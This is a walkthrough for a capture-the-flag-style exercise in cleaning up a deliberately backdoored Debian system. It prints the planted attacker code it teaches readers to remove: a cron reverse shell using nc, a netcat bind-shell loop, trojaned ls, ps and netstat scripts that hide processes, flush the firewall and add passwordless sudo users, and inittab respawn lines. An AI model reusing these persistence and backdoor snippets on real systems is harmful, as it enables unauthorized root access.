Things aren’t what they seem– Vulnerable Debian Challenge

A prankster has messed around with this Debian system. Some of his tricks have just crippled our favorite
terminal commands. But in other cases he’s hidden some pretty nasty stuff behind the scenes.

Your job is to explore the system using these hints to find and fix all his shenanigans:
 Two users are affected
 Opening bash + 5 classic commands have been affected
o ls (in 2 different ways!)
o clear
o su (in 2 different ways!)
o netstat
o ps
 accessing history is affected for one user
 firewall is affected (in 3 different methods)
 backdoor is opened (in 2 different ways)
 new users are created
 sudo power is assigned to a user
 should be no services running
 thegibson is not a good thing

Super Hints – think about how changes to these places could affect a system:

1. bashrc files
2. crontabs
3. profiles
4. init.d files
5. inittabs
6. files being replaced – use file $(which <command>) to investigate suspicious acting commands

Given Credentials:
rc3user:toor
root:toor

A walkthrough of answers starts on next page – but try to fix it yourself before looking. Good Luck!
ANSWERS WALKTHROUGH

.bashrc
When you power on the machine, you'll notice that you are automatically logged in. Upon opening a terminal
you are greeted with the message "Hello there. I hope this one isn't too hard...", which means that there is
something in .bashrc file, so let's take a look.

nano ~/.bashrc

Use ctrl-W to search for text in nano.

Search for the greeting, and comment it out so we can note it later for Incident Response. Next, we're going to
search through the file for some key lines to make sure there's nothing else bad hiding in here:

 iptables
 HISTSIZE=0
 alias
 wall
 nc

Comment out any of these that you find, except for HISTSIZE=0, which you should change to a bigger number
so you can have an up arrow. Close and save the file (ctrl-X, then Y Enter), then close and reopen your
terminal, as it takes the terminal closing for your .bashrc file changes to take effect.

Crontab
Next we are going to check crontabs. Crontabs allow you to schedule tasks to run at certain times for each
user, and are a great place to hide things as an attacker. To check your crontab type the command:

crontab -e

scroll to the very bottom of the file. As you can see there are two crontabs:

The first job,

*/5 * * * * iptables -F

Says every 5minutes, run the command iptables -F, which drops all your firewall rules.
The second job,

*/1 * * * * mkfifo fifio; cat fifo|/bin/sh -i 2>&1|nc 7331 >fifo

says every minute, run this command, which opens a backdoor into your machine on port 7331. This allows an
attacker to connect remotely into your machine, and run commands.

Comment these two lines out, and save and close the file.

--------

Next, we're going to gain root on our machine, so we have a bit more power. To do this, run the command:

su -

You use the '-' instead of the name 'root' because it clears all the environment variables, and someone may
have hidden something nasty for you in them.

/etc/profile
Now that we are root we notice a lovely little banana pun appear on our screen.

This means there's something in the /etc/profile file, so let's take a look. Open the file with your favorite
editor:

nano /etc/profile
This file is special because it is run every time a new shell is launched, which makes it a nice place to hide little
quiet commands. Let's search the file for some basic bad things that could be hidden:

 iptables
 wall
 nc
 chpasswd
o This command lets you change a user's password without any user input unlike passwd

There are two things found in the file, iptables -F, which drops your firewalls every time someone opens a new
shell. And cat /sbin/bacon | wall -n. What this command does is passes whatever is in the file /sbin/bacon to
the wall command, which sends a broadcast message to every user's terminal on the machine.

If you run just:

cat /sbin/bacon

you will see that it contains the banana pun that we saw when we logged into root. Comment out the two lines
we found, and save and close the file.

--------

Now that we have that dealt with, let's start auditing our running processes.

Auditing Running Processes

To see what processes are running on your machine, run the command:

ps -ef

the ps command has many different flags, but generally this flag combination of -ef is a fairly good place to
start with. The ps command reports on running processes, -e flag is to select all processes, -f flag is to do full-
format listing.

When looking at ps output it can be a bit overwhelming at first, but you are looking for a few key things that
are pretty easy to identify:

1. Bash or other types of scripts you did not run

2. Services that you are not being scored on or are required
3. nc listeners
4. Multiple "init" processes or processes that don't belong
a. such as "Microsoft office updater"

Normally we would go down the list above, BUT as you will notice at the bottom of your ps -ef output, there
are two lines that are very suspicious:
The first line,

/bin/sh /bin/ps -ef

is telling us that at a shell script called /bin/ps was run with the arguments -ef. Which is odd seeing as we just
ran the command ps -ef...

The second line,

/bin/fake/ps -ef

is telling us that the binary /bin/fake/ps was run with the arguments -ef.

Next, type the command:

echo $PATH

This prints the value stored in the $PATH variable, which determines where your shell will look for commands
when you type them. As you can see the output is:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

This means there are 5 of possible places for a command to live on our system:

1. /usr/local/sbin
2. /usr/local/bin
3. /usr/sbin
4. /usr/bin
5. /bin

Meaning if you have a command running from /bin/fake like we do from above, it has to be called from
something. So let's look at where our ps command is on the system by typing the command:

which ps

This returns the value /bin/ps, meaning when we run ps, we are running the one in /bin/, not /bin/fake.

Next, we can figure out what type of file it is by running:

file $(which ps)

As you can see, it is a shell script. This means our command has been 'backdoored', or replaced with a shell
script to imitate the real ps command. Commands are typically an 'ELF', meaning they have been executed and
their code cannot be altered.

Let's take a look at this ps imitator. Open it with your favorite editor:

nano /bin/ps

1. The first part,

/bin/fake/ps $@

is running the file /bin/fake/ps and passing it all command line variables ($@)

This is then passed into sed, which is essentially a command line version of 'find and replace'.

2. The second part,

sed -e 's/notabackdoor/thegibson/g' -e 's/sed.*//g'

is using sed to replace the string notabackdoor with the string thegibson, and then replacing any string starting
with sed with nothing, so when this runs sed does not appear in the ps output.

This means that when we run the ps command, instead of seeing notabackdoor, we are seeing thegibson in the
output, allowing the attacker to hide their notabackdoor script under a fake name.

3. The third part,

exit 0

just makes sure the script exits quickly instead of hanging, giving away the fact that something might be
wrong.

Now that we know there is something hiding under the name thegibson, let's try and figure out what it is. Run
the command:

ps -ef | grep thegibson

This will show us the running processes like before, however it will be using grep to filter out the results so we
only see things related to thegibson.

As you can see from the first line, thegibson is a bash script that lives in /bin/thegibson. However, remember
that the ps script was replacing JUST notabackdoor with thegibson. This means that the /bin/ part is still
relevant, so we know that our real script lives at /bin/notabackdoor.

Open the file with your favorite editor:

nano /bin/notabackdoor

Let's break this down. The first and last line, while sleep 1; do and done form a while loop in bash. This means
that all the commands in between these two lines are run every second (because the loop sleeps for 1 second).

Inside the loop are netcat listeners. These allow an attacker to remotely connect to your machine over ports.
For instance, the line:

nc -l -p 1337 -e /bin/bash

is saying:

 nc (netcat)
 -l (is listening)
 -p 1337 (on port 1337)
 -e /bin/bash (and executes /bin/bash, giving the connector a bash shell)

In addition, the way these have been written means that only one of these will be listening at a time, starting
with port 1337. Once someone has connected and then disconnected from port 1337, then the line opening
the port on 8888 will run. Once all the lines have been disconnected from, it loops back up to the top and
starts all over again, making it harder for you to write firewall rules for.

Now that we know that the script does, we are going to kill the process with the command:
kill -9 5576

Note that the 5576 number comes from the second column of the ps -ef output, and is the parent process ID
(PPID) number of the script. Your parent process ID will differ from the one shown here, so you should adjust
the command above accordingly. Every time something in Linux runs, it is given a process ID number, or PID.
This is how the system tracks what things are doing.

Now continue going down our list for ps, trying to find anything else that looks suspicious.

We weren't told of any services we were supposed to be running, which means there are two that we can turn
off: SSH and apache2.

We can easily find the ssh service (called a daemon in Linux) is running by typing:

ps -ef |grep ssh

Type the command:

service ssh stop

It would appear that the 'stop' command is no longer a command. Let's just change the values back and then
stop the service. Service commands are handled by init.d, so we need to open the file ssh in an editor:

nano /etc/init.d/ssh
Once in the file, use ctrl-W to search for for the term 'Stopping', as we know the message is "Stopping ___
Secure Shell server" is used to describe the ‘stop’ command.

When you search for "Stopping" You will see in the line above pots) [stop spelled backwards]. This is what we
have to change to stop. Save and close the file.

Now run the command to stop the ssh daemon:

service ssh stop

Next, we're going to handle apache2. However first let's see what is actually running on our site. Open a
browser (Applications  Internet  Iceweasel Web Browser) and type in "localhost"

As you can see, there are several things running on our website. The first one, c99.php is a webshell. This
allows someone to run commands on your machine through a web interface. The second is Damn Vulnerable
WebApp, which is an web application that is intentionally vulnerable, and contains a remote code execution
section, allowing someone to run commands on your machine. The last one one, userpass, is different.

It appears to just be two columns of randomly generated text. However, from the filename it would appear
this is a list of usernames and passwords to the machine. Let's stop apache2 from running with the command:

service apache2 stop

Unfortunately, it would appear that it also has had its init.d scripts changed. Open the apache2 script to find
the relevant section and make the appropriate changes.

nano /etc/init.d/apache2

Type ctrl-W and search for “Stopping”

Change nogo to stop, save and close the file, and run the command:

service apache2 stop

Now that we have dealt with those two services, we can continue looking through our ps output, however
nothing else seems too bad, so let's move on.
/etc/inittab
Since we know that the attacker was running at least one script, we should check /etc/inittab. This is how the
system allows users to respawn scripts if they have been killed.

To check this, open the file with your favorite editor:

nano /etc/inittab

and start poking around. We can search for the one script we found, /bin/notabackdoor.

There are three scripts set up to respawn, however only one will run. Let's walk through how these lines work.

The way inittab works1 is this:

id:runlevel:action:process

 ID - The "ID" is simply a way to identify the line in the file, the value doesn't matter but it should be
unique (this will become apparent in a bit)
 runlevel - The "Runlevels" basically determine what system services are initiated for various start up
modes (e.g. single-user, multi-user, command line, GUI). There are 7 levels, 0,1,2,3,4,5,6,7. For
example, the notabackdoor script will start up for runlevels 2 through 5.
 Action - the "action" determines what should be done to the item, in our case it should be respawned.
 Process - the "process" is the command or file to run.

As you can see from our first line, the script /bin/notabackdoor is being respawned. By putting the "&"
character at the end of the name it tells the system to run this script in the background.

The second and third line do the same thing, however as you will have noticed from checking your ps output,
these scripts did not run. This is because as stated above, the "ID" field should be unique, and these ones were
not, so the scripts did not run.

Comment these lines, and save and close the file.

--------

Now that we know there isn't anything too bad running on our machine, we're going to audit our commands
to make sure they aren't backdoored and running anything behind our back.

Command Auditing
NOTE: after auditing several commands we will use one solution to fix them – so you won’t see a fix method for
each as we go, but at the end of command auditing there will be one method for all.

1
For a more in-depth explanation of this system see http://www.tldp.org/LDP/sag/html/config-init.html
To see if a command has been tampered with, you can run the command:

file $(which <command>)

But first we need a list of commands to check. Just pick your most commonly used commands, or commands
you would use to check if your machine has been compromised. Here is a small list:

 ps
 netstat
 who
 ls
 clear
 rm
 vim
 nano
 passwd
 chpasswd

We have already seen that ps was tampered with, so let's start with netstat, which is a tool we can use to
check our network connections, and what ports our machine is listening for connections on.

file $(which netstat)

As you can see, netstat has also been replaced with a shell script. Let's take a peek inside

nano /bin/netstat

This is quite similar to the ps script. It is using sed to replace some information being displayed. Specifically, it is
replacing the word ESTABLISHED with the word DENIED, so it looks likes all successful connections were
denied. 1337 with 101, presumably to not allow you to see that port 1337 is open, instead making you think
it's 101. And lastly 8888 with 0000.

Let's check another command:

file $(which who)

who can be used to show you the users currently logged into your machine. If you are not logged in with a user
and yet you see them, that's most likely a bad thing...
Luckily as you can see, the who command has not been tampered with.

However, when we check ls, we find some very interesting things being done:

file $(which ls)

nano /bin/ls

The first line,

/bin/apache $@

is calling the file apache and passing it all the command line arguments (that's the $@ part). This works
because the webserver apache is actually called apache2 in modern versions.

iptables -F &> /dev/null

This line is deleting all of your firewall rules in step, and sending any output to /dev/null. There are three
buffers that handle input and output in the terminal, std_in, std_out, and std_err. The '&' calls all three of
them, and the right carrot '>' is passing them all into /dev/null, which just gets rid of the data. This means that
if there are any errors or any feedback from the command run, it will not appear in the terminal, so you never
know the command is being run.

if [[ -z $(grep "www-data" "/etc/sudoers") ]]; then

#do nothing

echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

fi

These lines are a bash if statement. It is using grep to search to the file /etc/sudoers for "www-data", and if it
does not exist then it appends the line "www-data ALL=(ALL) NOPASSWD:ALL" to the end of the file
/etc/sudoers.

www-data is the username that your webserver uses to run on the system. /etc/sudoers is the file responsible
for saying who has sudo powers on the machine. sudo powers allow you to run commands as root, while not
actually being root. This is a good security feature, however as we can see here it can be abused. The line:

"www-data ALL=(ALL) NOPASSWD:ALL"

tells the sudo command that www-data can run sudo commands and not to prompt them for a password. This
is key as this allows someone to run commands with root level privilege through the use of sudo from your
website over dvwa or c99.php.

service vsftpd start &> /dev/null

service ssh start &> /dev/null

service apache2 &> /dev/null

These lines start ftp, ssh, and apache2 servers on your machine, and hide all the output from you.

username=`head -c 5 /dev/random | base64`

pass=`head -c 5 /dev/random |base64`

These two lines set environment variables username and password. 'head -c 5' takes the first five characters
from /dev/random, a file that randomly generates characters. This is then passed into base64, which converts
the characters to base64 so they can be represented in the terminal.

useradd $username &> /dev/null

This line adds the user with the username created by the 5 random characters above to your machine.

usermod -p $(openssl passwd -l "$pass") $username &> /dev/null

This command sets the password to the username that was just added to your machine.

echo $username " " $pass >> /var/www/userpass

echo "$username ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers | grep -v "Permission denied"

This first line adds username and password to the file /var/www/userpass, which is the file we saw before
being displayed by the webserver. The second line adds the username to the /etc/sudoers file, so they can run
commands with sudo and no password.

The next command we're going to look at is clear.

file $(which clear)

nano /usr/bin/clear

It has a lot of code in it as you will see however it's all harmless other than the iptables -F. Still it is pretty
irritating to use clear and then have to wait for the Otter to go away, so we will want to fix this.

FIX: To return the commands to their original ELF files, follow this quick procedure that will reinstall bash and
bin commands

1. apt-get update

2. ln -sf /bin/sh /bin/bash 

3. apt-get install --reinstall bash 

CLOSE TERMINAL AND REOPEN

1. apt-get install dlocate (will use this to find the package for our other commands)

2. dlocate /usr/bin/clear – will produce something like this:

ncurses-bin: /usr/bin/clear
bash: /usr/bin/clear_console

3. apt-get install –reinstall ncurses-bin

CLOSE TERMINAL AND REOPEN

4. Do steps 2 and 3 again for each of /bin/netstat and /bin/ls and /bin/ps
*** If you get a prompt for cdrom, edit the /etc/apt/sources.list file to comment out the cdrom line.

--------

Auditing Users
type the command:

nano /etc/passwd

This will show you /etc/passwd. This is the file that holds the users and their permission levels, groups, and
shells.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
messagebus:x:101:105::/var/run/dbus:/bin/false
colord:x:102:106:colord colour management daemon,,,:/var/lib/colord:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
Debian-exim:x:104:112::/var/spool/exim4:/bin/false
statd:x:105:65534::/var/lib/nfs:/bin/false
avahi:x:106:115:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
pulse:x:107:116:PulseAudio daemon,,,:/var/run/pulse:/bin/false
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
hplip:x:109:7:HPLIP system user,,,:/var/run/hplip:/bin/false
rtkit:x:110:118:RealtimeKit,,,:/proc:/bin/false
saned:x:111:119::/home/saned:/bin/false
Debian-gdm:x:112:120:Gnome Display Manager:/var/lib/gdm3:/bin/false
rc3user:x:1000:1000:rc3user,,,:/home/rc3user:/bin/bash
sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:114:121:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:115:122:ftp daemon,,,:/srv/ftp:/bin/false
m4hbqrk=:x:1001:1001::/home/m4hbqrk=:/bin/sh
A6HJI7o=:x:1002:1002::/home/A6HJI7o=:/bin/sh
8c0kR+A=:x:1003:1003::/home/8c0kR+A=:/bin/sh
ThG0b10=:x:1004:1004::/home/ThG0b10=:/bin/sh
to/PZEk=:x:1005:1005::/home/to/PZEk=:/bin/sh
tLktCS0=:x:1006:1006::/home/tLktCS0=:/bin/sh
93Nx6vI=:x:1007:1007::/home/93Nx6vI=:/bin/sh
MwdakL0=:x:1008:1008::/home/MwdakL0=:/bin/sh
uFavFDk=:x:1009:1009::/home/uFavFDk=:/bin/sh
EGnj0nc=:x:1010:1010::/home/EGnj0nc=:/bin/sh
McFq41g=:x:1011:1011::/home/McFq41g=:/bin/sh
feWSBXQ=:x:1012:1012::/home/feWSBXQ=:/bin/sh
Hk84qWQ=:x:1013:1013::/home/Hk84qWQ=:/bin/sh
Oar8Fls=:x:1014:1014::/home/Oar8Fls=:/bin/sh
yuMd9RQ=:x:1015:1015::/home/yuMd9RQ=:/bin/sh
06UQ8pQ=:x:1016:1016::/home/06UQ8pQ=:/bin/sh
5a3XMPw=:x:1017:1017::/home/5a3XMPw=:/bin/sh
1fmrr6E=:x:1018:1018::/home/1fmrr6E=:/bin/sh
p3JTJ10=:x:1019:1019::/home/p3JTJ10=:/bin/sh
eMU6/Hk=:x:1020:1020::/home/eMU6/Hk=:/bin/sh
50kbNxw=:x:1021:1021::/home/50kbNxw=:/bin/sh
CbnPxiI=:x:1022:1022::/home/CbnPxiI=:/bin/sh
0HLXZ9A=:x:1023:1023::/home/0HLXZ9A=:/bin/sh
WQyAKMg=:x:1024:1024::/home/WQyAKMg=:/bin/sh
8jqwIQQ=:x:1025:1025::/home/8jqwIQQ=:/bin/sh
pAQm3to=:x:1026:1026::/home/pAQm3to=:/bin/sh
PV4GhKk=:x:1027:1027::/home/PV4GhKk=:/bin/sh
kCPBEAI=:x:1028:1028::/home/kCPBEAI=:/bin/sh
5OtapIQ=:x:1029:1029::/home/5OtapIQ=:/bin/sh

These are all the users on the machine at the moment. As you can see at the bottom of the file, there are
several users that were created by the ls command, consisting of random characters for their name.
These are problematic, so we should delete them. Here is a 1liner that should help us with that.

First, copy all of the users who don't belong on the machine to a separate file, say bad_users.txt.

cp /etc/passwd bad_users.txt

Open the file “bad_users.txt” in an editor, delete all valid users and save the file. In nano, you can use ctrl-K to
delete a line and ctrl-X to save and exit.

nano bad_users.txt

Next, run this command:

cut -d':' -f1 < bad_users.txt | while read i; do deluser $i; done

What this command does is reads each line in the bad_users.txt, and using : as a delimiter (-d) extracts field 1
(-f1). The resulting usernames are then looped through and deleted.
Now we only have the standard users, including rc3user.

As you can see, a bunch of the default system users have a /bash/sh shell. This is bad because it means an
attacker doesn't need to know a username to your machine, they can just log in a default user on the machine.
Typically, these users are given a /bin/false or a /bin/nologin shell.

While this is a good line of defense, it is possible for an attacker replace these shells with a functional shell
such as /bin/bash. Let's test for that real quick. Let's log in as rtkit, a system user that has a /bin/false shell.

su rtkit

As you can see from above, we can successfully log as rtkit even though they have a /bin/false shell. This
means that the shell has been replaced with a functional shell, and we need to find another way to disable
these accounts.

You can't just delete the users, as systems running on the machine rely on their users to work.
To disable the account, go into /etc/passwd and replace the /bin/false with /usr/sbin/nologin.

Now, logging in as rtkit produces an account unavailable message.